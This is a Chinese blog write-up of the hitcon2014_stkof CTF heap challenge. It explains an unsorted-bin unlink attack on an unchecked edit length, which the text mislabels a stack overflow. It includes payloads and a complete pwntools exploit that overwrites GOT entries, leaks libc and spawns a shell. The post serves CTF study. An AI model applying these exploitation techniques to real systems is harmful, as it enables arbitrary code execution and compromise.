hitcon2014_stkof

一道unsortedbin unlink,题目具有三个功能malloc,free,edit,具有漏洞是edit的大小没有进行检查,所以就可以造成栈溢出,又因为没有开PIE,所以可以用unlink来做这道题,unlink就是可以伪造fake_chunk,使fd=p-0x18,bk=p-0x10,并且覆盖下一个chunk的PREV_INUSE位,然后free掉下一个堆块,在unlink过程中这个chunk会和下一个chunk合并,这个时候edit本chunk就可以将内容写至p-0x18的位置,从而实现任意地址写。

先申请四个堆块

add(0x80)
add(0x30)
add(0x80)
add(0x80)

看一下堆布局

Allocated chunk | PREV_INUSE
Addr: 0x2022000
Size: 0x1011
​
Allocated chunk | PREV_INUSE
Addr: 0x2023010
Size: 0x91
​
Allocated chunk | PREV_INUSE
Addr: 0x20230a0
Size: 0x411
​
Allocated chunk | PREV_INUSE
Addr: 0x20234b0
Size: 0x41
​
Allocated chunk | PREV_INUSE
Addr: 0x20234f0
Size: 0x91
​
Allocated chunk | PREV_INUSE
Addr: 0x2023580
Size: 0x91
​
Top chunk | PREV_INUSE
Addr: 0x2023610
Size: 0x209f1

第一个chunk是系统为缓冲区申请的chunk,可以看到我们要伪造的chunk是申请的第二个chunk,但是第一个chunk和第二个chunk之间还有一个chunk,并且chunk指针首地址为0x0602140,所以我们要伪造的chunk的指针p是0x0602150,然后就是伪造chunk

FD = ptr - 0x18
BK = ptr - 0x10
payload1 = p64(0)   +  p64(0x31) + p64(FD) + p64(BK) + 'a' * 16 +  p64(0x30)     +       p64(0x90)
#          PREV_INUSE  SIZE位      fd指针     bk指针     用户输入区  下一个chunk的PREV_INUSE  下一个chunk的size
edit(2,0x40,payload1)
free(3)

由于第二个chunk地址为0x20234b0,所以我们伪造的chunk地址就是0x20234b0,之后free掉3号chunk就会与我们伪造的chunk合并,产生unlink

payload2 = p64(0) + p64(atoi_got) + p64(puts_got) + p64(free_got)
edit(2,len(payload2),payload2)
payload3 = p64(puts_plt)
edit(2,len(payload3),payload3)
free(1)

p指针0x0602150,0x0602150-0x18=0x602138,chunk指针首地址为0x602140,所以需要填充八个字节就开始写1号chunk指针位,这里将1号chunk位置填写位atoi的got表地址,然后将atoi的got表改写为puts的plt表,这样就可以把puts函数真实地址打印出来。

puts_addr = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
print(hex(puts_addr))
sys_addr = puts_addr - libc.symbols["puts"] + libc.symbols["system"]
bin_sh_addr = libc.search("/bin/sh").next()
edit(0,0x8,p64(sys_addr))
sd(p64(bin_sh_addr))
a.interactive()

最后再根据偏移算出libc中system函数地址和/bin/sh地址从而get shell

完整exp

from pwn import *
from LibcSearcher import *
from struct import pack 
context(log_level="debug",os="linux",arch="amd64")

sd = lambda x:a.send(x)
sl = lambda x:a.sendline(x)
ru = lambda x:a.recvuntil(x)
rl = lambda :a.recvline()
ra = lambda :a.recv()
rn = lambda x:a.recv(x)
sla = lambda x,y:a.sendlineafter(x,y)

local = 'stkof'
a = process(local)
libc = ELF("libc-2.23.so")
#a = remote("node4.buuoj.cn",26690)
elf = ELF(local)
def add(size):
    sl('1')
    sl(str(size))
    ru('OK\n')

def edit(idx, size, content):
    sl('2')
    sl(str(idx))
    sl(str(size))
    sd(content)
    ru('OK\n')

def free(idx):
    sl('3')
    sl(str(idx))

ptr = 0x602150
atoi_got = elf.got["atoi"]
free_got = elf.got["free"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
add(0x80)
add(0x30)
add(0x80)
add(0x80)
FD = ptr - 0x18
BK = ptr - 0x10
payload1 = p64(0) + p64(0x31) + p64(FD) + p64(BK) + 'a' * 16 + p64(0x30) + p64(0x90)
edit(2,0x40,payload1)
free(3)
payload2 = p64(0) + p64(atoi_got) + p64(puts_got) + p64(free_got)
edit(2,len(payload2),payload2)
payload3 = p64(puts_plt)
edit(2,len(payload3),payload3)
free(1)

puts_addr = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
print(hex(puts_addr))
sys_addr = puts_addr - libc.symbols["puts"] + libc.symbols["system"]
bin_sh_addr = libc.search("/bin/sh").next()
edit(0,0x8,p64(sys_addr))
sd(p64(bin_sh_addr))
a.interactive()

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Aslhs_0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值